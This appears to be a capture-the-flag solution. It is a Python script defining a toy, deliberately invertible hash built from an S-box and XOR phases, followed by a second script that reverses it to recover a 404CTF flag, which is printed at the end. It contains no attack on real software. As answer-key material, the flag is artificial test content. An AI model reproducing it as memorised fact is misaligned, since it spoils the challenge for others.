'11100100', '01111001', '11100111', '11001000', '00110111', '01101101', '10001101', '11010101', '01001110', '10101001', '01101100', '01010110', '11110100', '11101010', '01100101', '01111010', '10101110', '00001000', '10111010', '01111000', '00100101', '00101110', '00011100', '10100110', '10110100', '11000110', '11101000', '11011101', '01110100', '00011111', '01001011', '10111101', '10001011', '10001010', '01110000', '00111110', '10110101', '01100110', '01001000', '00000011', '11110110', '00001110', '01100001', '00110101', '01010111', '10111001', '10000110', '11000001', '00011101', '10011110', '11100001', '11111000', '10011000', '00010001', '01101001', '11011001', '10001110', '10010100', '10011011', '00011110', '10000111', '11101001', '11001110', '01010101', '00101000', '11011111', '10001100', '10100001', '10001001', '00001101', '10111111', '11100110', '01000010', '01101000', '01000001', '10011001', '00101101', '00001111', '10110000', '01010100', '10111011', '00010110']




def string2bits(s=''):
    tmp = []
    for x in s :
        byte = bin(ord(x))[2:]
        if len(byte) > 8:
            indices = [i for i in range(0, len(byte), 8)]
            parts = ["".join(byte[i:j]).zfill(8) for i,j in zip(indices, indices[1:]+[None])]
            tmp += (parts)
        else :
            byte = byte.zfill(8)
            tmp.append(byte)
    return tmp

def padding(binary):
    if((len(binary) + 1 ) % 32 == 0):
        binary.append('00000001')
        binary.append('00000000')
    if(len(binary)%32 != 0 or len(binary) == 0):
        binary.append('00000001')
        while len(binary)%32 != 0:
            binary.append('00000000')

def xor(a,b):
    res = ""
    for i in range(len(a)):
            res += str(int(a[i]) ^ int(b[i]))
    return res

def sbox_ope(binary):
    for i in range(len(binary)):
        index = int(binary[i],2)
        binary[i] = sbox[index]

def phase1(binary):
    m = int(len(binary) / 32)
    tmp = []
    for i in range(0, len(binary), m):
        tmp.append(xor(binary[i], binary[i+1]))
    return tmp

def phase2(binary):
    for i in range(1,len(binary)):
        for j in range(i):
            binary[i] = xor(binary[i], binary[j])

def bits2hex(binary):
    hex_str = ""
    for bit in binary:
        hex_str += format(int(bit, 2), '02x')
    return hex_str

def h(m):
    plain = m
    binary = string2bits(plain)
    padding(binary)
    if len(binary) > 32:
        binary = phase1(binary)
    phase2(binary)
    phase2(binary)
    phase2(binary)
    sbox_ope(binary)
    hash_str = bits2hex(binary)
    return hash_str


plain =  ""
if len(sys.argv) == 1:
    print("Aucun argument donné. Rien à hacher. Bye bye.")
elif len(sys.argv) >= 2 :
    plain += sys.argv[1]
    for i in range(2,len(sys.argv)):
        plain += " " + str(sys.argv[i])
    print(h(plain))

逆算する。

#!/usr/bin/env python3
sbox = ['01100011', '01111100', '01110111', '01111011', '11110010', '01101011', '01101111', '11000101', '00110000', '00000001', '01100111', '00101011', '11111110', '11010111', '10101011', '01110110', '11001010', '10000010', '11001001', '01111101', '11111010', '01011001', '01000111', '11110000', '10101101', '11010100', '10100010', '10101111', '10011100', '10100100', '01110010', '11000000', '10110111', '11111101', '10010011', '00100110', '00110110', '00111111', '11110111', '11001100', '00110100', '10100101', '11100101', '11110001', '01110001', '11011000', '00110001', '00010101', '00000100', '11000111', '00100011', '11000011', '00011000', '10010110', '00000101', '10011010', '00000111', '00010010', '10000000', '11100010', '11101011', '00100111', '10110010', '01110101', '00001001', '10000011', '00101100', '00011010', '00011011', '01101110', '01011010', '10100000', '01010010', '00111011', '11010110', '10110011', '00101001', '11100011', '00101111', '10000100', '01010011', '11010001', '00000000', '11101101', '00100000', '11111100', '10110001', '01011011', '01101010', '11001011', '10111110', '00111001', '01001010', '01001100', '01011000', '11001111', '11010000', '11101111', '10101010', '11111011', '01000011', '01001101', '00110011', '10000101', '01000101', '11111001', '00000010', '01111111', '01010000', '00111100', '10011111', '10101000', '01010001', '10100011', '01000000', '10001111', '10010010', '10011101', '00111000', '11110101', '10111100', '10110110', '11011010', '00100001', '00010000', '11111111', '11110011', '11010010', '11001101', '00001100', '00010011', '11101100', '01011111', '10010111', '01000100', '00010111', '11000100', '10100111', '01111110', '00111101', '01100100', '01011101', '00011001', '01110011', '01100000', '10000001', '01001111', '11011100', '00100010', '00101010', '10010000', '10001000', '01000110', '11101110', '10111000', '00010100', '11011110', '01011110', '00001011', '11011011', '11100000', '00110010', '00111010', '00001010', '01001001', '00000110', '00100100', '01011100', '11000010', '11010011', '10101100', '01100010', '10010001', '10010101', '11100100', '01111001', '11100111', '11001000', '00110111', '01101101', '10001101', '11010101', '01001110', '10101001', '01101100', '01010110', '11110100', '11101010', '01100101', '01111010', '10101110', '00001000', '10111010', '01111000', '00100101', '00101110', '00011100', '10100110', '10110100', '11000110', '11101000', '11011101', '01110100', '00011111', '01001011', '10111101', '10001011', '10001010', '01110000', '00111110', '10110101', '01100110', '01001000', '00000011', '11110110', '00001110', '01100001', '00110101', '01010111', '10111001', '10000110', '11000001', '00011101', '10011110', '11100001', '11111000', '10011000', '00010001', '01101001', '11011001', '10001110', '10010100', '10011011', '00011110', '10000111', '11101001', '11001110', '01010101', '00101000', '11011111', '10001100', '10100001', '10001001', '00001101', '10111111', '11100110', '01000010', '01101000', '01000001', '10011001', '00101101', '00001111', '10110000', '01010100', '10111011', '00010110']

def xor(a,b):
    res = ''
    for i in range(len(a)):
            res += str(int(a[i]) ^ int(b[i]))
    return res

def rev_sbox_ope(binary):
    for i in range(len(binary)):
        index = sbox.index(binary[i])
        binary[i] = bin(index)[2:].zfill(8)

def hex2bit(hex_str):
    binary = []
    for i in range(0, len(hex_str), 2):
        bit = bin(int(hex_str[i:i+2], 16))[2:].zfill(8)
        binary.append(bit)
    return binary

def rev_phase2(binary):
    for i in range(len(binary) - 1, 0, -1):
        for j in range(i - 1, -1, -1):
            binary[i] = xor(binary[i], binary[j])

hash_str = '18f2048f7d4de5caabd2d0a3d23f4015af8033d46736a2e2d747b777a4d4d205'

x = ['10101010', '01111011', '01110111', '01110111', '11010000', '01111100', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011']

binary = hex2bit(hash_str)
rev_sbox_ope(binary)
rev_phase2(binary)
rev_phase2(binary)
rev_phase2(binary)

flag = ''
for bit in binary:
    flag += chr(int(bit, 2))
flag = flag.rstrip('\x00').rstrip('\x01')
print(flag)
404CTF{yJ7dhDm35pLoJcbQkUygIJ}